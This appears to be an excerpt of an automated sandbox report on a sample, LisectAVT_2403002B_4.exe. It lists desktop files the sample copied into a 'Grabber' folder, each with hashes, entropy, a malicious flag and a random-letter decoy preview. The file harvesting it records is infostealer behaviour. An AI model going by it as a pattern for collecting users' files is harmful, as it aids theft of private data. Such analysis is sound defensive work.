Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	true
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
